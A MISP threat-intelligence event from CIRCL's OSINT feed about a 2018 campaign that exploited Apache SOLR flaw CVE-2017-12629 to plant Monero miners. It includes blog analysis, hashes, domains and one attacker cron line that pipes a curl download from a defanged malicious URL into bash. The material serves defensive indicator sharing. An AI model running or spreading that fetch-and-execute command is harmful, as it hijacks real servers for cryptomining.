adulau/misp-circl-feed
1
0
Fork 0
Code Issues 1 Pull requests Projects 1 Releases Packages Wiki Activity Actions
misp-circl-feed/feeds/circl/misp/5aa23875-d0dc-49d6-82a6-d309950d210f.json

362 lines
13 KiB
JSON
Raw Permalink Normal View History

chg: [feed] added
2023-04-21 13:25:09 +00:00
{
chg: [gen] updated
2023-12-14 14:30:15 +00:00
"Event": {
"analysis": "0",
"date": "2018-03-09",
"extends_uuid": "",
"info": "OSINT - Apache SOLR: the new target for cryptominers",
"publish_timestamp": "1520592420",
"published": true,
"threat_level_id": "3",
"timestamp": "1520592413",
"uuid": "5aa23875-d0dc-49d6-82a6-d309950d210f",
"Orgc": {
"name": "CIRCL",
"uuid": "55f6ea5e-2c60-40e5-964f-47a8950d210f"
},
"Tag": [
{
"colour": "#ffffff",
chg: [feed] updated
2024-04-05 12:15:17 +00:00
"local": false,
chg: [gen] updated
2023-12-14 14:30:15 +00:00
"name": "tlp:white",
"relationship_type": ""
},
{
"colour": "#a0a300",
chg: [feed] updated
2024-04-05 12:15:17 +00:00
"local": false,
chg: [gen] updated
2023-12-14 14:30:15 +00:00
"name": "dnc:malware-type=\"CoinMiner\"",
"relationship_type": ""
},
{
"colour": "#00223b",
chg: [feed] updated
2024-04-05 12:15:17 +00:00
"local": false,
chg: [gen] updated
2023-12-14 14:30:15 +00:00
"name": "osint:source-type=\"blog-post\"",
"relationship_type": ""
}
],
"Attribute": [
{
"category": "Payload delivery",
"comment": "",
"deleted": false,
"disable_correlation": false,
"timestamp": "1520581258",
"to_ids": false,
"type": "vulnerability",
"uuid": "5aa238c3-5d80-4e7b-b10b-bcef950d210f",
"value": "CVE-2017-12629"
},
{
"category": "External analysis",
"comment": "",
"deleted": false,
"disable_correlation": false,
"timestamp": "1520586221",
"to_ids": false,
"type": "text",
"uuid": "5aa238d2-e450-49d6-bc69-d1cf950d210f",
"value": "Earlier this year, I wrote about a campaign targeting vulnerable Oracle WebLogic installations to deploy cryptocurrency miners [1] . Based on some of the mining pool statistics associated with these installs, criminals were quite successful. Now that most Oracle WebLogic servers are fixed, miscreants had to move to another target. Based on an incident I responded to on Thursday, vulnerable Apache SOLR servers may now be \u00e2\u20ac\u0153it\u00e2\u20ac\u009d.\r\n\r\nWithin 9 days (from Feb, 28 to Mar, 8) this single campaign exploited 1416 vulnerable Apache SOLR servers to deploy Monero XMRig miners across the globe. There are enough similarities between these two attacks to suggest that this is the same group that was responsible for the WebLogic campaign. Log formats, file names and even the basic install script for the miner are identical. Of course, it is always possible that we are just dealing with copycats. These scripts have been out in the open for a while now.\r\n\r\nThe flaw (CVE-2017-12629) [2] first announced October 12th 2017, affects Apache SOLR version 7.1 and below. Due to an incorrectly configured XML parser in the \u00e2\u20ac\u0153queryparser\u00e2\u20ac\u009d library, attackers can get access to sensitive information or execute arbitrary code on vulnerable systems.\r\n\r\nThe CVSS v2 score is only \"High\" (7.5). But an exploit has been widely available since October 17th, less than a week after the vulnerability was made public. It is no surprise that attackers quickly turned to this easily executed exploit. The CVSS v3 score of \"Critical\" (9.8) is probably more appropriate.",
"Tag": [
{
"colour": "#00223b",
chg: [feed] updated
2024-04-05 12:15:17 +00:00
"local": false,
chg: [gen] updated
2023-12-14 14:30:15 +00:00
"name": "osint:source-type=\"blog-post\"",
"relationship_type": ""
}
]
},
{
"category": "External analysis",
"comment": "",
"deleted": false,
"disable_correlation": false,
"timestamp": "1520586219",
"to_ids": false,
"type": "link",
"uuid": "5aa238df-6aa0-47f7-a5dc-bcf2950d210f",
"value": "https://isc.sans.edu/diary/23425",
"Tag": [
{
"colour": "#00223b",
chg: [feed] updated
2024-04-05 12:15:17 +00:00
"local": false,
chg: [gen] updated
2023-12-14 14:30:15 +00:00
"name": "osint:source-type=\"blog-post\"",
"relationship_type": ""
}
]
},
{
"category": "Network activity",
"comment": "On port 8080",
"deleted": false,
"disable_correlation": false,
"timestamp": "1520581259",
"to_ids": true,
"type": "domain",
"uuid": "5aa238ef-b014-436e-8ffd-bcef950d210f",
"value": "pool-proxy.com"
},
{
"category": "Network activity",
"comment": "",
"deleted": false,
"disable_correlation": false,
"timestamp": "1520581260",
"to_ids": true,
"type": "url",
"uuid": "5aa238f0-6154-41bc-b555-bcef950d210f",
"value": "http://mms.kenguru.ru/includes/libraries/getsetup.php"
},
{
"category": "External analysis",
"comment": "",
"deleted": false,
"disable_correlation": false,
"timestamp": "1520581260",
"to_ids": false,
"type": "url",
"uuid": "5aa23a20-5738-495a-8c04-bdba950d210f",
"value": "https://isc.sans.edu/forums/diary/Campaign+is+using+a+recently+released+WebLogic+exploit+to+deploy+a+Monero+miner/23191/"
},
{
"category": "External analysis",
"comment": "",
"deleted": false,
"disable_correlation": false,
"timestamp": "1520581261",
"to_ids": false,
"type": "url",
"uuid": "5aa23a21-e0c4-44c4-862d-bdba950d210f",
"value": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12629"
},
{
"category": "External analysis",
"comment": "",
"deleted": false,
"disable_correlation": false,
"timestamp": "1520581261",
"to_ids": false,
"type": "url",
"uuid": "5aa23a22-11a4-4be7-bc40-bdba950d210f",
"value": "https://www.securityfocus.com/bid/101261/info"
},
{
"category": "Artifacts dropped",
"comment": "",
"deleted": false,
"disable_correlation": false,
"timestamp": "1520586163",
"to_ids": true,
"type": "pattern-in-file",
"uuid": "5aa24db3-ab7c-4f72-9ae8-bcf2950d210f",
"value": "25 0,3,6,9,12,15,18 * * * curl -s \"hxxp://mms.kenguru.ru/includes/libraries/getsetup.php?p=sl\" | bash"
}
],
"Object": [
{
"comment": "",
"deleted": false,
"description": "File object describing a file with meta-information",
"meta-category": "file",
"name": "file",
"template_uuid": "688c46fb-5edb-40a3-8273-1af7923e2215",
"template_version": "9",
"timestamp": "1520580946",
"uuid": "5aa23952-98bc-429a-90e3-bcf2950d210f",
"Attribute": [
{
"category": "Payload delivery",
"comment": "",
"deleted": false,
"disable_correlation": true,
"object_relation": "filename",
"timestamp": "1520580946",
"to_ids": true,
"type": "filename",
"uuid": "5aa23952-2374-4750-b93a-bcf2950d210f",
"value": "fs-manager"
},
{
"category": "Payload delivery",
"comment": "",
"deleted": false,
"disable_correlation": false,
"object_relation": "sha256",
"timestamp": "1520580946",
"to_ids": true,
"type": "sha256",
"uuid": "5aa23952-681c-454e-83e6-bcf2950d210f",
"value": "7153ac617df7aa6f911e361b1f0c8188ca5c142c6aaa8faa2a59b55e0b823c1c"
},
{
"category": "Other",
"comment": "",
"deleted": false,
"disable_correlation": true,
"object_relation": "state",
"timestamp": "1520580946",
"to_ids": false,
"type": "text",
"uuid": "5aa23952-bf9c-4b36-9307-bcf2950d210f",
"value": "Malicious"
}
]
},
{
"comment": "",
"deleted": false,
"description": "File object describing a file with meta-information",
"meta-category": "file",
"name": "file",
"template_uuid": "688c46fb-5edb-40a3-8273-1af7923e2215",
"template_version": "9",
"timestamp": "1520581105",
"uuid": "5aa239f1-e340-4ce1-ad60-d1cf950d210f",
"Attribute": [
{
"category": "Payload delivery",
"comment": "",
"deleted": false,
"disable_correlation": true,
"object_relation": "filename",
"timestamp": "1520581105",
"to_ids": true,
"type": "filename",
"uuid": "5aa239f1-ccf0-4bdf-8ec7-d1cf950d210f",
"value": "config.json"
},
{
"category": "Payload delivery",
"comment": "",
"deleted": false,
"disable_correlation": false,
"object_relation": "sha256",
"timestamp": "1520581105",
"to_ids": true,
"type": "sha256",
"uuid": "5aa239f1-cb2c-4463-9677-d1cf950d210f",
"value": "a3bbc8d3c4a950fa0b0def4109a07e9d01bae157781ff7a4b07910340e021dc7"
},
{
"category": "Other",
"comment": "",
"deleted": false,
"disable_correlation": true,
"object_relation": "state",
"timestamp": "1520581106",
"to_ids": false,
"type": "text",
"uuid": "5aa239f2-0234-4f35-ae63-d1cf950d210f",
"value": "Malicious"
}
]
},
{
"comment": "",
"deleted": false,
"description": "File object describing a file with meta-information",
"meta-category": "file",
"name": "file",
"template_uuid": "688c46fb-5edb-40a3-8273-1af7923e2215",
"template_version": "7",
"timestamp": "1520581264",
"uuid": "9e8fc8b5-70d8-445c-8e8d-f004090a0793",
"ObjectReference": [
{
"comment": "",
"object_uuid": "9e8fc8b5-70d8-445c-8e8d-f004090a0793",
"referenced_uuid": "98e27b75-981b-467e-bfe6-36b058da4dc4",
chg: [feed] added
2023-04-21 13:25:09 +00:00
"relationship_type": "analysed-with",
chg: [gen] updated
2023-12-14 14:30:15 +00:00
"timestamp": "1520581265",
"uuid": "5aa23a91-6fac-49c8-83b8-d78802de0b81"
}
],
"Attribute": [
{
"category": "Payload delivery",
"comment": "",
"deleted": false,
"disable_correlation": false,
"object_relation": "sha1",
"timestamp": "1520581262",
"to_ids": true,
"type": "sha1",
"uuid": "5aa23a8e-2ea0-4bb6-9152-d78802de0b81",
"value": "ea0a6633b2f8592028c31aefbfe8f8165076b786"
},
{
"category": "Payload delivery",
"comment": "",
"deleted": false,
"disable_correlation": false,
"object_relation": "sha256",
"timestamp": "1520581262",
"to_ids": true,
"type": "sha256",
"uuid": "5aa23a8e-7d28-4f78-8ab5-d78802de0b81",
"value": "7153ac617df7aa6f911e361b1f0c8188ca5c142c6aaa8faa2a59b55e0b823c1c"
},
{
"category": "Payload delivery",
"comment": "",
"deleted": false,
"disable_correlation": false,
"object_relation": "md5",
"timestamp": "1520581263",
"to_ids": true,
"type": "md5",
"uuid": "5aa23a8f-c760-4af1-91a3-d78802de0b81",
"value": "09536b6ee3e600e73436715030467ec9"
}
]
},
{
"comment": "",
"deleted": false,
"description": "VirusTotal report",
"meta-category": "misc",
"name": "virustotal-report",
"template_uuid": "d7dd0154-e04f-4c34-a2fb-79f3a3a52aa4",
"template_version": "1",
"timestamp": "1520581263",
"uuid": "98e27b75-981b-467e-bfe6-36b058da4dc4",
"Attribute": [
{
"category": "External analysis",
"comment": "",
"deleted": false,
"disable_correlation": false,
"object_relation": "permalink",
"timestamp": "1520581264",
"to_ids": false,
"type": "link",
"uuid": "5aa23a90-e4bc-4ba6-8338-d78802de0b81",
"value": "https://www.virustotal.com/file/7153ac617df7aa6f911e361b1f0c8188ca5c142c6aaa8faa2a59b55e0b823c1c/analysis/1519925650/"
},
{
"category": "Other",
"comment": "",
"deleted": false,
"disable_correlation": true,
"object_relation": "detection-ratio",
"timestamp": "1520581265",
"to_ids": false,
"type": "text",
"uuid": "5aa23a91-9ae4-42e4-a3ef-d78802de0b81",
"value": "22/60"
},
{
"category": "Other",
"comment": "",
"deleted": false,
"disable_correlation": false,
"object_relation": "last-submission",
"timestamp": "1520581265",
"to_ids": false,
"type": "datetime",
"uuid": "5aa23a91-ffb8-41ad-8a57-d78802de0b81",
"value": "2018-03-01T17:34:10"
}
]
}
chg: [feed] added
2023-04-21 13:25:09 +00:00
]
chg: [gen] updated
2023-12-14 14:30:15 +00:00
}
chg: [feed] added
2023-04-21 13:25:09 +00:00
}
Reference in a new issue Copy permalink